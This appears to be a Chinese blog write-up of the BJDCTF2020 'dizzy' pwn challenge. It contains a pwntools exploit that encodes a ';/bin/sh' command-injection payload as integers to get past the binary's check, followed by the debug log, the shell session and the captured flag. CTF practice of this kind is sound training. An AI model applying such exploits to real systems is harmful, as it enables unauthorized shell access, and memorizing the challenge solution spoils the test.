BJDCTF2020 dizzy

ida:

这题考察的是命令;分隔后前半段是错误的后面的仍可执行

还有字符串是用\x00截断的

但主要的是要看懂程序的检查机制

 

exp:

​

from pwn import *
context.log_level="debug"
io=remote("pwn.challenge.ctf.show", 28164)
elf=ELF("./dizzy")
s="PvvN| 1S S0 GREAT!;/bin/sh".ljust(80,"\x00")
arr=[]
for i in range(0,len(s),4):
    tmp=hex(ord(s[i+3]))[2:].zfill(2)
    tmp+= hex(ord(s[i + 2]))[2:].zfill(2)
    tmp+= hex(ord(s[i + 1]))[2:].zfill(2)
    tmp+= hex(ord(s[i + 0]))[2:].zfill(2)
    arr.append(int(tmp,16))
for i in range(len(arr)):
    arr[i]-=0x1BF52
for i in range(20):
	io.sendline(str(arr[i]))
io.interactive()


​
  io.sendline(str(arr[i]))
[DEBUG] Sent 0xb bytes:
    b'1316271870\n'
[DEBUG] Sent 0xb bytes:
    b'1395613994\n'
[DEBUG] Sent 0xa bytes:
    b'539923406\n'
[DEBUG] Sent 0xb bytes:
    b'1094947573\n'
[DEBUG] Sent 0xa bytes:
    b'792289794\n'
[DEBUG] Sent 0xa bytes:
    b'795650576\n'
[DEBUG] Sent 0x7 bytes:
    b'-87775\n'
[DEBUG] Sent 0x8 bytes:
    b'-114514\n'
[DEBUG] Sent 0x8 bytes:
    b'-114514\n'
[DEBUG] Sent 0x8 bytes:
    b'-114514\n'
[DEBUG] Sent 0x8 bytes:
    b'-114514\n'
[DEBUG] Sent 0x8 bytes:
    b'-114514\n'
[DEBUG] Sent 0x8 bytes:
    b'-114514\n'
[DEBUG] Sent 0x8 bytes:
    b'-114514\n'
[DEBUG] Sent 0x8 bytes:
    b'-114514\n'
[DEBUG] Sent 0x8 bytes:
    b'-114514\n'
[DEBUG] Sent 0x8 bytes:
    b'-114514\n'
[DEBUG] Sent 0x8 bytes:
    b'-114514\n'
[DEBUG] Sent 0x8 bytes:
    b'-114514\n'
[DEBUG] Sent 0x8 bytes:
    b'-114514\n'
[DEBUG] Sent 0x8 bytes:
    b'-114514\n'
[DEBUG] Sent 0x8 bytes:
    b'-114514\n'
    b'-114514\n'
[DEBUG] Sent 0x8 bytes:
    b'-114514\n'
[DEBUG] Sent 0x8 bytes:
    b'-114514\n'
[DEBUG] Sent 0x8 bytes:
    b'-114514\n'
[DEBUG] Sent 0x8 bytes:
    b'-114514\n'
[DEBUG] Sent 0x8 bytes:
    b'-114514\n'
[DEBUG] Sent 0x8 bytes:
    b'-114514\n'
[DEBUG] Sent 0x8 bytes:
    b'-114514\n'
[DEBUG] Sent 0x8 bytes:
    b'-114514\n'
[DEBUG] Sent 0x8 bytes:
    b'-114514\n'
[DEBUG] Sent 0x8 bytes:
    b'-114514\n'
[*] Switching to interactive mode
[DEBUG] Received 0x2c bytes:
    b'sh: 1: PvvN: not found\n'
    b'sh: 1: 1S: not found\n'
sh: 1: PvvN: not found
sh: 1: 1S: not found
$ cat flag
[DEBUG] Sent 0x9 bytes:
    b'cat flag\n'
[DEBUG] Received 0x2e bytes:
    b'ctfshow{f56693d7-0a3d-4f15-b6a8-14864a26ce5a}\n'
ctfshow{f56693d7-0a3d-4f15-b6a8-14864a26ce5a}
$  

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值